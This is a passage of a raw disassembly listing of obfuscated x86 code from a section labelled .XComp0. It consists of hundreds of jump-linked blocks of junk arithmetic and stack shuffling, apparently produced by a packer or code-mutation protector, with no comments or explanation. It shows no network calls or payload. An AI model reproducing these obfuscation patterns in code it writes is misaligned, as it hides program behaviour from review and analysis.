shl esi, 4 shr esi, 2 add esi, 42914826h xor ebx, esi pop esi jmp loc_5918E9 ; --------------------------------------------------------------------------- loc_587A19: ; CODE XREF: .XComp0:00590153j add esp, 4 add esp, 4 jmp loc_590BD2 ; --------------------------------------------------------------------------- loc_587A27: ; CODE XREF: .XComp0:0058BADEj push dword ptr [esp] pop esi push 0CC7h mov [esp], ebp jmp loc_590163 ; --------------------------------------------------------------------------- loc_587A38: ; CODE XREF: .XComp0:0058DD0Dj add dl, 6Eh pop cx sub dl, 80h add al, dl mov edx, [esp] add esp, 4 mov dx, [esp] jmp loc_590C24 ; --------------------------------------------------------------------------- loc_587A51: ; CODE XREF: .XComp0:0059522Fj add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_58BAA1 ; --------------------------------------------------------------------------- loc_587A65: ; CODE XREF: .XComp0:00587068j neg edx neg edx and edx, 6FAE493Ah shr edx, 1 sub edx, 27171FFCh add edi, edx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5978D9 ; --------------------------------------------------------------------------- loc_587A90: ; CODE XREF: .XComp0:005927ACj push esp pop eax push ebp mov ebp, 200709h shr ebp, 3 and ebp, 9634AADh and ebp, 43C615BDh inc ebp xor ebp, 63F7AEAh xor ebp, 63F7A4Ch add eax, ebp pop ebp push 2806h mov [esp], esi push eax push 4 jmp loc_597A53 ; --------------------------------------------------------------------------- loc_587ACA: ; CODE XREF: .XComp0:00585DFEj add eax, 4 push edi mov edi, 4 jmp loc_588933 ; --------------------------------------------------------------------------- loc_587ADA: ; CODE XREF: .XComp0:00593670j mov dl, al mov ch, dl jmp loc_5961E0 ; --------------------------------------------------------------------------- loc_587AE3: ; CODE XREF: .XComp0:00598462j not edx or edx, 4C0E048Dh jmp loc_58A543 ; --------------------------------------------------------------------------- loc_587AF0: ; CODE XREF: .XComp0:00588F26j mov edi, [esp] add esp, 4 push dword ptr [esp] pop ecx push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub ebp, 29A21F77h add ebp, ecx jmp loc_596122 ; --------------------------------------------------------------------------- loc_587B18: ; CODE XREF: .XComp0:00594926j add ebp, 4 xchg ebp, [esp] pop esp xchg edi, [esp] jmp loc_586955 ; --------------------------------------------------------------------------- loc_587B2A: ; CODE XREF: .XComp0:00586732j add ebp, ecx pop ecx push esi mov esi, 4 add ebp, esi jmp loc_595DCC ; --------------------------------------------------------------------------- loc_587B3A: ; CODE XREF: .XComp0:005976D9j mov [esp], edi push 6D57h jmp loc_592F1A ; --------------------------------------------------------------------------- loc_587B47: ; CODE XREF: .XComp0:00588319j add edi, 4 jmp loc_587D66 ; --------------------------------------------------------------------------- loc_587B52: ; CODE XREF: .XComp0:00596BBEj mov [esp], eax mov eax, 338E10F6h dec eax or eax, 8485AF7h not eax add eax, 7AEB2ADCh sub eax, 0E7F85B06h xor edx, eax pop eax jmp loc_585066 ; --------------------------------------------------------------------------- loc_587B74: ; CODE XREF: .XComp0:00595577j push eax jmp loc_585DFC ; --------------------------------------------------------------------------- loc_587B7A: ; CODE XREF: .XComp0:00592933j add edx, 23615A7Fh push edi jmp loc_58E905 ; --------------------------------------------------------------------------- loc_587B86: ; CODE XREF: .XComp0:0059189Dj mov esp, [esp] mov ax, [esp] push ecx push 28EBh jmp loc_58DD46 ; --------------------------------------------------------------------------- loc_587B98: ; CODE XREF: .XComp0:005958EFj mov [esp], esi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebp mov ebp, esp push 25F0h mov [esp], edx push ebp mov ebp, 38CF2502h sub ebp, 1F487F83h push edx jmp loc_5855B2 ; --------------------------------------------------------------------------- loc_587BC1: ; CODE XREF: .XComp0:005881B7j add ebx, 676C39A6h add eax, ebx jmp loc_58F726 ; --------------------------------------------------------------------------- loc_587BCE: ; CODE XREF: .XComp0:005955CEj xchg esi, [esp] mov esp, [esp] and eax, ebp mov ebp, [esp] add esp, 4 or eax, eax jz loc_583BDC push dword ptr [edi+28h] push edi mov edi, 57DF1077h xor [esp+4], edi pop edi pop eax push edi push 4872h jmp loc_58C39E ; --------------------------------------------------------------------------- loc_587C01: ; CODE XREF: .XComp0:005981F4j pop edx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_587C07: ; CODE XREF: .XComp0:00594948j add ebp, 0A627979h add ebp, edi jmp loc_59110D ; --------------------------------------------------------------------------- loc_587C14: ; CODE XREF: .XComp0:0058A4B0j shl ecx, 5 add ecx, 0F486F88Bh sub ebx, ecx pop ecx sub ebx, 594C7FE0h jmp loc_590772 ; --------------------------------------------------------------------------- loc_587C2B: ; CODE XREF: .XComp0:0058B549j push 23Eh mov [esp], ebx mov ebx, 4 add edx, 53F615B9h jmp loc_589305 ; --------------------------------------------------------------------------- loc_587C43: ; CODE XREF: .XComp0:005884A6j mov esi, 5D134189h mov edx, esi pop esi push edi mov edi, 0BF37188h xor edx, edi jmp loc_59513E ; --------------------------------------------------------------------------- loc_587C58: ; CODE XREF: .XComp0:0058CA87j add ebp, 4 jmp loc_58428D ; --------------------------------------------------------------------------- loc_587C63: ; CODE XREF: .XComp0:005946F8j pop dword ptr [esp] jmp loc_586FA6 ; --------------------------------------------------------------------------- loc_587C6B: ; CODE XREF: .XComp0:005954C2j add esp, 4 add ecx, 65CA383Ch jmp loc_58D3B3 ; --------------------------------------------------------------------------- loc_587C7C: ; CODE XREF: .XComp0:0058BA74j pop esi xor ebp, esi mov esi, [esp] add esp, 4 jmp loc_5879AB ; --------------------------------------------------------------------------- loc_587C8D: ; CODE XREF: .XComp0:0058C14Ej shl edx, 7 jmp loc_5929B8 ; --------------------------------------------------------------------------- loc_587C95: ; CODE XREF: .XComp0:0058F15Fj push 4D1B7B66h pop ebp add ebp, 0B2E4849Eh mov eax, ebp jmp loc_58509F ; --------------------------------------------------------------------------- loc_587CA8: ; CODE XREF: .XComp0:0058504Bj mov ebp, esp push edi sub esp, 4 jmp loc_58927E ; --------------------------------------------------------------------------- loc_587CB6: ; CODE XREF: .XComp0:0058E62Fj push esi mov esi, 38074881h mov edx, esi jmp loc_5865E7 ; --------------------------------------------------------------------------- loc_587CC3: ; CODE XREF: .XComp0:0058A696j push dword ptr [esp] pop ebp add esp, 4 push 7DD7h mov [esp], ecx mov ecx, 1CB652A5h sub ebp, 457226E2h add ebp, ecx add ebp, 457226E2h pop ecx push 2B7Eh mov [esp], eax push esi mov esi, ebp push esi jmp loc_5920C5 ; --------------------------------------------------------------------------- loc_587CF7: ; CODE XREF: .XComp0:00589A8Aj sub eax, 4C9821BEh add eax, ebx add eax, 4C9821BEh sub esp, 4 mov [esp], ecx push ebx mov ebx, 289E7290h push ebx jmp loc_5970C2 ; --------------------------------------------------------------------------- loc_587D18: ; CODE XREF: .XComp0:0059682Dj pop esi push eax mov eax, 4 sub esi, 1F4644C3h add esi, eax add esi, 1F4644C3h mov eax, [esp] add esp, 4 jmp loc_58D827 ; --------------------------------------------------------------------------- loc_587D38: ; CODE XREF: .XComp0:0058C25Ej mov bh, 1Bh mov dl, 75h add dl, bh pop ebx push 0A5Fh mov [esp], eax push ebx mov bh, 49h mov al, 8Fh xor al, bh pop ebx jmp loc_58DE6D ; --------------------------------------------------------------------------- loc_587D54: ; CODE XREF: .XComp0:0058429Ej add ebp, 4 jmp loc_58C1A0 ; --------------------------------------------------------------------------- loc_587D5C: ; CODE XREF: .XComp0:0058A501j sub [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_587D66: ; CODE XREF: .XComp0:00587B4Dj add edi, 4 jmp loc_59164E ; --------------------------------------------------------------------------- loc_587D6E: ; CODE XREF: .XComp0:0058E70Ej push ecx jmp loc_58C3BD ; --------------------------------------------------------------------------- loc_587D74: ; CODE XREF: .XComp0:00595856j add eax, ecx jmp loc_59897A ; --------------------------------------------------------------------------- loc_587D7B: ; CODE XREF: .XComp0:00593B51j pop esi push ecx mov ecx, 7D734385h shr ecx, 2 or ecx, 6981813h xor ecx, 31C17301h jmp loc_59302E ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_58EFAC ; --------------------------------------------------------------------------- loc_587D9F: ; CODE XREF: .XComp0:0058CB22j mov ecx, 330D2A30h sub [esp+8], ecx pop ecx add [esp+4], edx add dword ptr [esp+4], 330D2A30h jmp loc_596CA4 ; --------------------------------------------------------------------------- loc_587DBA: ; CODE XREF: .XComp0:0058B246j push 6862h mov [esp], eax push esi mov esi, 2C4A129Ah inc esi add esi, 39B13FC6h mov eax, esi pop esi add ebx, 19AD7E53h sub ebx, 1B7431D3h sub ebx, eax jmp loc_585CB0 ; --------------------------------------------------------------------------- loc_587DE5: ; CODE XREF: .XComp0:0058E7EFj push ecx push dword ptr [esp+4] pop ecx jmp loc_583E0B ; --------------------------------------------------------------------------- loc_587DF0: ; CODE XREF: .XComp0:00584758j xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_58D428 ; --------------------------------------------------------------------------- loc_587DFE: ; CODE XREF: .XComp0:005956CFj push esi jmp loc_583EE0 ; --------------------------------------------------------------------------- loc_587E04: ; CODE XREF: .XComp0:0058DACDj mov edi, 3E8C179Ah add edi, 2C422E71h not edi push 60C4h jmp loc_58C85E ; --------------------------------------------------------------------------- loc_587E1B: ; CODE XREF: .XComp0:00596BEAj sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58C112 ; --------------------------------------------------------------------------- loc_587E36: ; CODE XREF: .XComp0:005877DFj pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], eax jmp loc_588DAE ; --------------------------------------------------------------------------- loc_587E45: ; CODE XREF: .XComp0:0059476Dj mov [esp], ebp sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebx jmp loc_591C4B ; --------------------------------------------------------------------------- mov cx, [esp] push 72DCh mov [esp], esi mov esi, esp push eax mov eax, 2E3659CBh dec eax jmp loc_58E46D ; --------------------------------------------------------------------------- loc_587E76: ; CODE XREF: .XComp0:00592EC2j pop edi sub esp, 4 mov [esp], ebx jmp loc_58AC07 ; --------------------------------------------------------------------------- loc_587E85: ; CODE XREF: .XComp0:0058C190j pop eax push ebx push esp mov ebx, [esp] push ebp mov ebp, esp jmp loc_593E9F ; --------------------------------------------------------------------------- loc_587E93: ; CODE XREF: .XComp0:0058BE94j add cl, 0FDh push cx not byte ptr [esp] jmp loc_5983FD ; --------------------------------------------------------------------------- loc_587EA0: ; CODE XREF: .XComp0:0058BB57j push edi jmp loc_591AFE ; --------------------------------------------------------------------------- loc_587EA6: ; CODE XREF: .XComp0:005957E1j sub edi, 6BB6DC6h pop ecx sub esi, edi pop edi dec esi sub esi, 8751C62Eh add eax, esi pop esi sub eax, edx push 3FDDh mov [esp], ebp mov ebp, 6A2E34D1h jmp loc_597AA4 ; --------------------------------------------------------------------------- loc_587ECE: ; CODE XREF: .XComp0:0058743Aj push eax mov eax, 2BFD613Ch mov ebp, 0D4029EC8h jmp loc_5852F1 ; --------------------------------------------------------------------------- loc_587EDE: ; CODE XREF: .XComp0:00584B27j sub edx, 0B450B32h jmp loc_58D160 ; --------------------------------------------------------------------------- loc_587EE9: ; CODE XREF: .XComp0:0058E7C6j inc ebp neg ebp jmp loc_5927BD ; --------------------------------------------------------------------------- loc_587EF1: ; CODE XREF: .XComp0:00597866j mov ebx, 523B8E24h jmp loc_5845A7 ; --------------------------------------------------------------------------- loc_587EFB: ; CODE XREF: .XComp0:005862E5j add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push esi jmp loc_593964 ; --------------------------------------------------------------------------- loc_587F11: ; CODE XREF: .XComp0:00597BD7j xor ebp, ebx jmp loc_58FD3A ; --------------------------------------------------------------------------- loc_587F18: ; CODE XREF: .XComp0:0059358Fj mov ebp, [esp] add esp, 4 mov ecx, ebp pop ebp jmp loc_590812 ; --------------------------------------------------------------------------- loc_587F29: ; CODE XREF: .XComp0:00584726j sub esp, 4 mov [esp], esi jmp loc_589BC7 ; --------------------------------------------------------------------------- loc_587F34: ; CODE XREF: .XComp0:00594DC9j mov edi, 52F7642Eh sub edi, 0EA300A84h xor ebx, edi push dword ptr [esp] pop edi add esp, 4 add ebx, 5B3860BFh jmp loc_595E41 ; --------------------------------------------------------------------------- loc_587F53: ; CODE XREF: .XComp0:00591D53j push dword ptr [esp] jmp loc_59188E ; --------------------------------------------------------------------------- loc_587F5B: ; CODE XREF: .XComp0:0058FD27j pop esp jmp loc_5916F0 ; --------------------------------------------------------------------------- loc_587F61: ; CODE XREF: .XComp0:0058B7D8j mov [esp], ax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_587F6A: ; CODE XREF: .XComp0:005981C5j mov edx, 371A083Bh inc edx inc edx or edx, 21C71F16h inc edx add edx, 0BC3F42Bh add ebx, edx pop edx sub ebx, 6E267374h add ebx, edx add ebx, 6E267374h push 3BA4h jmp loc_58A4A2 ; --------------------------------------------------------------------------- loc_587F99: ; CODE XREF: .XComp0:00595C5Ej pop edx push 2F04h jmp loc_58E358 ; --------------------------------------------------------------------------- loc_587FA4: ; CODE XREF: .XComp0:00585370j mov eax, [esp] add esp, 4 jmp loc_58C78E ; --------------------------------------------------------------------------- loc_587FAF: ; CODE XREF: .XComp0:00595471j mov [esp], eax mov al, 8Fh push ecx mov cl, 40h jmp loc_58F48A ; --------------------------------------------------------------------------- loc_587FBC: ; CODE XREF: .XComp0:00592203j add esi, 4 jmp loc_586B94 ; --------------------------------------------------------------------------- loc_587FC7: ; CODE XREF: .XComp0:005985C8j add esi, 909055C2h xor edi, esi pop esi sub edi, 0E7A12F0Dh or eax, edi pop edi jmp loc_583FB3 ; --------------------------------------------------------------------------- loc_587FDE: ; CODE XREF: .XComp0:00598B86j mov edx, 1257F999h sub esi, edx jmp loc_58738C ; --------------------------------------------------------------------------- loc_587FEA: ; CODE XREF: .XComp0:005883B0j push eax mov eax, 4 add ebp, eax jmp loc_58F80B ; --------------------------------------------------------------------------- loc_587FF7: ; CODE XREF: .XComp0:0058FF22j push eax xchg esi, [esp] not esi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop eax jmp loc_58EF93 ; --------------------------------------------------------------------------- loc_58800C: ; CODE XREF: .XComp0:005984F9j mov edx, 1D8333C6h sub esi, edx push dword ptr [esp] pop edx add esp, 4 mov edi, [esp] add esp, 4 sub eax, 21562A9Ah sub eax, esi add eax, 21562A9Ah push dword ptr [esp] mov esi, [esp] add esp, 4 push eax mov eax, esp jmp loc_5925AA ; --------------------------------------------------------------------------- loc_588040: ; CODE XREF: .XComp0:005914F9j pop eax inc dh add dh, 46h jmp loc_591BE9 ; --------------------------------------------------------------------------- loc_58804B: ; CODE XREF: .XComp0:00592907j pop eax jmp loc_5963E3 ; --------------------------------------------------------------------------- loc_588051: ; CODE XREF: .XComp0:0058E07Cj push dword ptr [esp+4] mov eax, [esp] jmp loc_58E854 ; --------------------------------------------------------------------------- loc_58805D: ; CODE XREF: .XComp0:00593A81j sub ch, 94h sub ch, 54h xor ch, 1 jmp loc_58DB98 ; --------------------------------------------------------------------------- loc_58806B: ; CODE XREF: .XComp0:005895ABj push edx push 51CC47DFh pop edx add dword ptr [esp+4], 0C9D1D94h jmp loc_593F2A ; --------------------------------------------------------------------------- loc_58807F: ; CODE XREF: .XComp0:00596F21j push 1452h mov [esp], esi push esp pop esi jmp loc_58B3D6 ; --------------------------------------------------------------------------- loc_58808E: ; CODE XREF: .XComp0:00595BF1j shl dh, 2 add dh, 1 shr dh, 1 and dh, 10h push ecx push 25D6h mov [esp], edx mov dh, 0B4h jmp loc_586843 ; --------------------------------------------------------------------------- loc_5880A9: ; CODE XREF: .XComp0:0059845Cj add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edx, [esp] jmp loc_595359 ; --------------------------------------------------------------------------- loc_5880C1: ; CODE XREF: .XComp0:00585B93j and dh, bl jmp loc_5868C8 ; --------------------------------------------------------------------------- loc_5880C8: ; CODE XREF: .XComp0:00585B58j shl eax, 7 xor eax, 689E6B8Fh not eax sub eax, 491B13E2h add esi, eax jmp loc_59127D ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_58AB27 ; --------------------------------------------------------------------------- loc_5880F7: ; CODE XREF: .XComp0:0058B41Dj and ebx, 7C082925h jmp loc_5860BD ; --------------------------------------------------------------------------- loc_588102: ; CODE XREF: .XComp0:0058F709j xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ecx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_588113: ; CODE XREF: .XComp0:0058A98Bj mov [esp], ecx mov cl, dl push edx push ebx mov bl, cl push ecx mov cl, bl jmp loc_584DD3 ; --------------------------------------------------------------------------- loc_588124: ; CODE XREF: .XComp0:0058952Ej pop dword ptr [esp] jmp loc_58592B ; --------------------------------------------------------------------------- loc_58812C: ; CODE XREF: .XComp0:00598FD1j sub esp, 4 mov [esp], ebx mov ebx, 2 add eax, 41D46153h add eax, 5A7902B3h sub eax, 4CB0137Dh add eax, ebx push ebp mov ebp, 5E9316EBh inc ebp inc ebp shr ebp, 2 sub ebp, 0CAF4B23Eh add eax, ebp pop ebp sub esp, 4 mov [esp], ecx mov ecx, 16F91F52h dec ecx push eax mov eax, 31091DFCh or ecx, eax pop eax jmp loc_59479D ; --------------------------------------------------------------------------- loc_58817C: ; CODE XREF: .XComp0:005893F3j neg edx push edx neg dword ptr [esp] mov edx, [esp] jmp loc_597A06 ; --------------------------------------------------------------------------- loc_58818A: ; CODE XREF: .XComp0:00593A67j add esp, 4 add esp, 4 jmp loc_583A60 ; --------------------------------------------------------------------------- loc_588198: ; CODE XREF: .XComp0:00597259j push ebp jmp loc_583DE1 ; --------------------------------------------------------------------------- loc_58819E: ; CODE XREF: .XComp0:00590462j shr edx, 4 push ecx mov ecx, 4172079h jmp loc_58BBE8 ; --------------------------------------------------------------------------- loc_5881AC: ; CODE XREF: .XComp0:005917FFj mov ebx, 6EFD0F90h add ebx, 60C0157Ch jmp loc_587BC1 ; --------------------------------------------------------------------------- loc_5881BC: ; CODE XREF: .XComp0:0058448Aj push ebx push ecx jmp loc_586759 ; --------------------------------------------------------------------------- loc_5881C3: ; CODE XREF: .XComp0:005861CBj push edi mov edi, 22097856h sub edi, 304C450Ch sub ebx, edi pop edi jmp loc_591911 ; --------------------------------------------------------------------------- loc_5881D7: ; CODE XREF: .XComp0:005867C8j sub esp, 4 mov [esp], esi mov esi, 2 jmp loc_58540A ; --------------------------------------------------------------------------- loc_5881E7: ; CODE XREF: .XComp0:0058D53Ej push small 4783h mov [esp], dx jmp loc_59030A ; --------------------------------------------------------------------------- loc_5881F4: ; CODE XREF: .XComp0:0058DB12j neg al or al, 0DFh neg al push ecx mov cl, 95h or al, cl pop ecx add al, 0AFh sub bl, al pop eax sub bl, 88h sub bl, al add bl, 88h add bl, 44h mov ax, [esp] push eax mov eax, esp jmp loc_589377 ; --------------------------------------------------------------------------- loc_58821C: ; CODE XREF: .XComp0:0058B53Ej mov [esp], ebx jmp loc_586644 ; --------------------------------------------------------------------------- loc_588224: ; CODE XREF: .XComp0:005874D5j sub edx, 34874879h mov eax, edx jmp loc_58E15D ; --------------------------------------------------------------------------- loc_588231: ; CODE XREF: .XComp0:0058DFB6j xor ch, 0Ah jmp loc_591003 ; --------------------------------------------------------------------------- loc_588239: ; CODE XREF: .XComp0:0058BD80j push 3089h mov [esp], edi push edx push 41113DA3h pop edx jmp loc_59507A ; --------------------------------------------------------------------------- loc_58824D: ; CODE XREF: .XComp0:0058535Dj pop esp add ecx, edi push 1395h mov [esp], ebx push ebp mov ebp, 298844CEh mov ebx, 298844CEh sub ebx, ebp jmp loc_593EB4 ; --------------------------------------------------------------------------- loc_58826A: ; CODE XREF: .XComp0:00589886j mov dh, 0Fh add cl, dh pop dx sub al, cl pop ecx sub al, 49h jmp loc_58D0E7 ; --------------------------------------------------------------------------- mov ecx, [esp] push 4F0h mov [esp], esi mov esi, esp push 78DBh mov [esp], edi jmp loc_5920FC ; --------------------------------------------------------------------------- loc_588294: ; CODE XREF: .XComp0:0058A423j add dl, 4Ch jmp loc_5972B3 ; --------------------------------------------------------------------------- loc_58829C: ; CODE XREF: .XComp0:005928E9j push ebx push 544B7363h pop ebx sub ebx, 0DC465648h jmp loc_598C03 ; --------------------------------------------------------------------------- loc_5882AE: ; CODE XREF: .XComp0:0058C5B0j mov dx, 458Eh mov si, dx pop edx push eax mov ax, si mov cx, ax jmp loc_589F15 ; --------------------------------------------------------------------------- loc_5882C2: ; CODE XREF: .XComp0:00597790j push cx jmp loc_597A18 ; --------------------------------------------------------------------------- loc_5882C9: ; CODE XREF: .XComp0:0058BCA3j add esi, ebp jmp loc_58BEB3 ; --------------------------------------------------------------------------- loc_5882D0: ; CODE XREF: .XComp0:005847CEj pop edx add edx, 4 jmp loc_589403 ; --------------------------------------------------------------------------- loc_5882DC: ; CODE XREF: .XComp0:00589F2Aj push esp pop ecx add ecx, 4 push esi mov esi, 5B912EBCh xor esi, 1C5C1DB8h inc esi not esi inc esi inc esi sub esi, 0B832CCF8h push edi mov edi, 3C0530BFh dec edi or edi, 2012E73h neg edi sub edi, 3B55578Fh neg edi jmp loc_5887A0 ; --------------------------------------------------------------------------- loc_588317: ; CODE XREF: .XComp0:00590C9Dj mov edi, esp jmp loc_587B47 ; --------------------------------------------------------------------------- loc_58831E: ; CODE XREF: .XComp0:005955BDj push ebx mov ebx, 4 add edx, 0ED52673h add edx, ebx sub edx, 0ED52673h pop ebx push ebx jmp loc_58B6E9 ; --------------------------------------------------------------------------- loc_588339: ; CODE XREF: .XComp0:0058AFB4j xor [esp], ebp xor ebp, [esp] pop esp add ebx, 4 push esi push 4 mov esi, [esp] add esp, 4 add ebx, esi push dword ptr [esp] pop esi jmp loc_59329E ; --------------------------------------------------------------------------- loc_588360: ; CODE XREF: .XComp0:0058C574j sub esp, 4 mov [esp], edx push esp pop edx add edx, 4 push eax mov eax, 4 sub edx, eax mov eax, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] jmp loc_58AAE5 ; --------------------------------------------------------------------------- loc_58838A: ; CODE XREF: .XComp0:0058E15Ej add ecx, eax jmp loc_5916A6 ; --------------------------------------------------------------------------- loc_588391: ; CODE XREF: .XComp0:0058B05Fj mov [esp], edx mov dl, 72h push ecx mov cl, 0C9h neg cl push ebx mov bh, 1 jmp loc_591593 ; --------------------------------------------------------------------------- loc_5883A3: ; CODE XREF: .XComp0:0058C9CEj push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 jmp loc_587FEA ; --------------------------------------------------------------------------- loc_5883B5: ; CODE XREF: .XComp0:00596BE1j pop esp mov [esp], edx mov edx, esp add edx, 4 add edx, 2 xchg edx, [esp] pop esp pop small word ptr [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5883D1: ; CODE XREF: .XComp0:00597019j xchg eax, [esp] mov esp, [esp] jmp loc_585E9C ; --------------------------------------------------------------------------- loc_5883DC: ; CODE XREF: .XComp0:0058B61Fj push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_589EFC ; --------------------------------------------------------------------------- loc_5883EC: ; CODE XREF: .XComp0:005975D3j mov [esp], edi jmp loc_58758E ; --------------------------------------------------------------------------- loc_5883F4: ; CODE XREF: .XComp0:0059364Bj mov esp, [esp] jmp loc_58ED18 ; --------------------------------------------------------------------------- loc_5883FC: ; CODE XREF: .XComp0:005971E0j push dword ptr [esp] pop ecx push esi jmp loc_593421 ; --------------------------------------------------------------------------- loc_588406: ; CODE XREF: .XComp0:005862F1j push dword ptr [esp] pop ecx push 4950h mov [esp], eax push esp pop eax jmp loc_58522A ; --------------------------------------------------------------------------- loc_588419: ; CODE XREF: .XComp0:0058A3A8j push esi mov esi, 4 sub ebx, esi mov esi, [esp] jmp loc_5980B1 ; --------------------------------------------------------------------------- loc_588429: ; CODE XREF: .XComp0:005902EAj mov edx, 4 push esi mov esi, 3EF67B4Dh shl esi, 8 jmp loc_58AA8B ; --------------------------------------------------------------------------- loc_58843C: ; CODE XREF: .XComp0:0058C40Aj add esp, 4 shr eax, 18h xor eax, ecx push 7743h mov [esp], eax push ebx jmp loc_5851BD ; --------------------------------------------------------------------------- loc_588455: ; CODE XREF: .XComp0:00590361j mov eax, [esp] push 2281h mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_594371 ; --------------------------------------------------------------------------- loc_588470: ; CODE XREF: .XComp0:00591D70j pop ecx jmp loc_58E663 ; --------------------------------------------------------------------------- loc_588476: ; CODE XREF: .XComp0:00596C9Fj mov edi, 0A121D98h push esi push 3834C02h pop esi jmp loc_594ED9 ; --------------------------------------------------------------------------- loc_588487: ; CODE XREF: .XComp0:00589CC9j xor ecx, eax mov eax, [esp] push esi push esp mov esi, [esp] add esp, 4 add esi, 4 add esi, 4 jmp loc_589504 ; --------------------------------------------------------------------------- loc_5884A2: ; CODE XREF: .XComp0:00594491j mov [esp], edx push esi jmp loc_587C43 ; --------------------------------------------------------------------------- loc_5884AB: ; CODE XREF: .XComp0:005886C9j pop eax jmp loc_5962D0 ; --------------------------------------------------------------------------- loc_5884B1: ; CODE XREF: .XComp0:0058A188j add esp, 4 add edx, 6F607900h add edx, esi sub edx, 6F607900h add edx, 75641B14h pop esi add edx, 28316B29h add edx, eax sub edx, 28316B29h push dword ptr [edx] xor dword ptr [esp], 0F695E96h jmp loc_5857E6 ; --------------------------------------------------------------------------- loc_5884E5: ; CODE XREF: .XComp0:00593B37j push eax jmp loc_597E4E ; --------------------------------------------------------------------------- loc_5884EB: ; CODE XREF: .XComp0:005989BAj pop ecx add esi, 4 push 0D4Eh jmp loc_584239 ; --------------------------------------------------------------------------- loc_5884FC: ; CODE XREF: .XComp0:0058B630j push esi mov esi, 50462567h xor esi, 37C4716Bh xor ecx, esi jmp loc_58C153 ; --------------------------------------------------------------------------- loc_58850F: ; CODE XREF: .XComp0:0058B393j add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_58A117 ; --------------------------------------------------------------------------- loc_58851D: ; CODE XREF: .XComp0:0058F7FCj add dword ptr [esp+4], 13306679h pop esi jmp loc_597E26 ; --------------------------------------------------------------------------- loc_58852B: ; CODE XREF: .XComp0:00595007j xor ebp, 25AF565Ch add ebp, 2ED47E13h inc ebp sub ebp, 5227A9C6h push 7B04h mov [esp], edx mov edx, 881228Bh add ebx, edx jmp loc_598BCA ; --------------------------------------------------------------------------- loc_588552: ; CODE XREF: .XComp0:005876F6j add edi, 13EC551h add ecx, edi jmp loc_58988B ; --------------------------------------------------------------------------- loc_58855F: ; CODE XREF: .XComp0:0058A7C3j push ebx mov ebx, 778C359Bh or esi, ebx pop ebx shr esi, 8 jmp loc_5959D8 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx mov bl, 0D8h shr bl, 3 add bl, 1 shl bl, 7 dec bl push eax push edx mov dh, 7Dh mov ah, dh pop edx push ecx mov cl, 8Eh or cl, 0F0h add cl, 34h add ah, cl pop ecx jmp loc_591949 ; --------------------------------------------------------------------------- loc_588599: ; CODE XREF: .XComp0:0058A930j mov [esp], ecx jmp loc_58BC5B ; --------------------------------------------------------------------------- loc_5885A1: ; CODE XREF: .XComp0:00589DCBj xor [esp], ax not ax push 8EAh mov [esp], esi jmp loc_58623E ; --------------------------------------------------------------------------- loc_5885B5: ; CODE XREF: .XComp0:00592003j push dword ptr [esp] pop ecx push edx jmp loc_594228 ; --------------------------------------------------------------------------- loc_5885BF: ; CODE XREF: .XComp0:00597361j add ebx, 0A9138CF8h xor esi, ebx jmp loc_58F4E2 ; --------------------------------------------------------------------------- loc_5885CC: ; CODE XREF: .XComp0:00585DB9j push 5E2Ch mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax push eax jmp loc_5872BF ; --------------------------------------------------------------------------- loc_5885E1: ; CODE XREF: .XComp0:005961B9j add esp, 4 add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_58BD93 ; --------------------------------------------------------------------------- loc_5885FB: ; CODE XREF: .XComp0:0058F338j add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_5841C9 ; --------------------------------------------------------------------------- loc_58860F: ; CODE XREF: .XComp0:0058DC63j mov ebp, [esp] push 71Ch mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp or ecx, ecx jz loc_586EF9 push 817h mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] push 133Ch mov [esp], eax jmp loc_592913 ; --------------------------------------------------------------------------- loc_58864E: ; CODE XREF: .XComp0:00583FAEj xor [esp], edi xor edi, [esp] mov esp, [esp] mov cx, [esp] push eax mov eax, esp add eax, 4 jmp loc_586A01 ; --------------------------------------------------------------------------- loc_588668: ; CODE XREF: .XComp0:00596353j xchg ebx, [esp] pop esp and ecx, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_58DD6B ; --------------------------------------------------------------------------- loc_58867D: ; CODE XREF: .XComp0:00585150j push dword ptr [esp] pop edx add esp, 4 jmp loc_58AFC3 ; --------------------------------------------------------------------------- loc_588689: ; CODE XREF: .XComp0:00597653j sub ebx, edi pop edi sub ebx, 7B662E5Dh pop edx mov dx, [esp] push ecx push 7FD9h mov [esp], esp add dword ptr [esp], 4 pop ecx jmp loc_5856DA ; --------------------------------------------------------------------------- loc_5886AD: ; CODE XREF: .XComp0:00591E7Bj mov ecx, ebp pop ebp sub ebx, ecx pop ecx neg ebx xor ebx, 36F52F57h shr ebx, 6 jmp loc_588D69 ; --------------------------------------------------------------------------- loc_5886C3: ; CODE XREF: .XComp0:005961DBj add edx, 11B82E69h jmp loc_5884AB 